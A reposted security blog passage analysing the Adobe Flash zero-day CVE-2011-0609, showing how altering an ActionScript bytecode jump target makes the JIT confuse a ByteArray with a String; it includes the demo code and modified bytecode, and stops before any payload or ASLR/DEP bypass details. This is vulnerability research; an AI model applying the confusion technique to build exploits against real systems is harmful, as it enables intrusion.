首页 > 安全 > 系统安全 >

Adobe Flash 0-Day (CVE-2011-0609)技术分析

2011-04-12

Hi everyone, Back from holidays I was informed about a zero-day exploit (CVE-2011-0609) in the wild (now patched) targeting Adobe Flash, it seems that criminals never take holidays! As we had a copy of the SWF malware

Hi everyone,

Back from holidays I was informed about a zero-day exploit (CVE-2011-0609) in the wild (now patched) targeting Adobe Flash, it seems that criminals never take holidays!

As we had a copy of the SWF malware sample embedded in Excel files, it was a great opportunity to go deeper into Flashs JIT code and test recent Haifei Lis [1] methods to exploit Flash vulnerabilities on Windows 7 and to bypass ASLR/DEP via IEEE-754.

In this blog, we will share our binary analysis of the vulnerability and how we achieved a reliable exploitation on Windows 7 with ASLR/DEP bypass.

1. Technical Analysis of the Vulnerability

Based on crsenvironscan.xls and addLabel.swf spotted by Bugix [2], it was not that difficult to get a simplified repro. Actually, it seemed that the one who designed this exploit did not even care to simplify his proof-of-concept since more than 100 differences existed between the safe ABC section and the evil one.

After having loaded the FLA source used to compile addLabel.swf, we figured out that the root cause of the vulnerability came from an invalid jump location read from an if statement.

By specifically manipulating jump sequences in an Action Script byte code, it is possible to force the JIT code to do an "object confusion". Specifically, it is possible to generate a valid byte code in which the same property or method could be accessed by two different objects.

The following harmless code will be used to demonstrate the vulnerability:

package poc {

public class safe {

public function bla():ByteArray {
return new ByteArray();
}

public function safe() {
var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA";
t.length;
}

}
}


First of all, lets see how the AS3 is compiled:

function poc::safe():*
{
0 getlocal0
1 pushscope
2 pushnull
3 coerce flash.utils::ByteArray
5 setlocal1
6 pushnull
7 coerce_s
8 setlocal2
9 getlocal0
10 constructsuper (0) // var tl:ByteArray
12 pushbyte 1
14 pushbyte 0
16 ifne L1 //if (1 == 0)

20 findpropstrict bla
22 callproperty bla (0)
25 coerce flash.utils::ByteArray // tl = bla()
27 jump L2

L1:
31 pushbyte 1
33 pushbyte 0
35 ifne L3 //if (1 == 0)

39 findpropstrict bla
41 callproperty bla (0)
44 coerce flash.utils::ByteArray // tl = bla()
46 jump L2

L3:
50 findpropstrict bla
52 callproperty bla (0)
55 coerce flash.utils::ByteArray // tl = bla()

L2:
57 coerce flash.utils::ByteArray
59 setlocal1
60 pushstring "AAAAA&AAAA"
62 setlocal2
63 getlocal2
64 getproperty length // t.length
66 pop
67 returnvoid
}


As we can see, label L2 can only be reached after having executed "coerce flash.utils::ByteArray" which pushes a ByteArray object on the stack.

Now lets change the jump target at line 46 and make it point to line 62. This gives the following result:

39 findpropstrict bla
41 callproperty bla (0)
44 coerce flash.utils::ByteArray
46 jump L4

L3:
50 findpropstrict bla
52 callproperty bla (0)
55 coerce flash.utils::ByteArray

L2:
57 coerce flash.utils::ByteArray
59 setlocal1
60 pushstring "AAAAA&AAAA"

L4:
62 setlocal2
63 getlocal2
64 getproperty length
66 pop
67 returnvoid


As we can see, if Flash reaches line 39, it pushes a "ByteArray" object on the stack and jumps to line 62 where it calls the "length" property. This modification is accepted by the Verifier since "String" and "ByteArray" objects share indeed a "length" property. This would have failed for example with the "ByteArray.endian" property since "String" objects do not implement such a property.

The atom confusion typically occurs here. The resulting JIT code to call the "length" property is actually designed for a "String" object, and not for a "ByteArray" object. Lets see now how "String" and "ByteArray" objects are represented in memory.

The "String" object represented on Figure 1 begins with a dword pointing to a VTable and contains a pointer to the string at offset +8. Notice also that its length is recorded at offset +10h:

热点推荐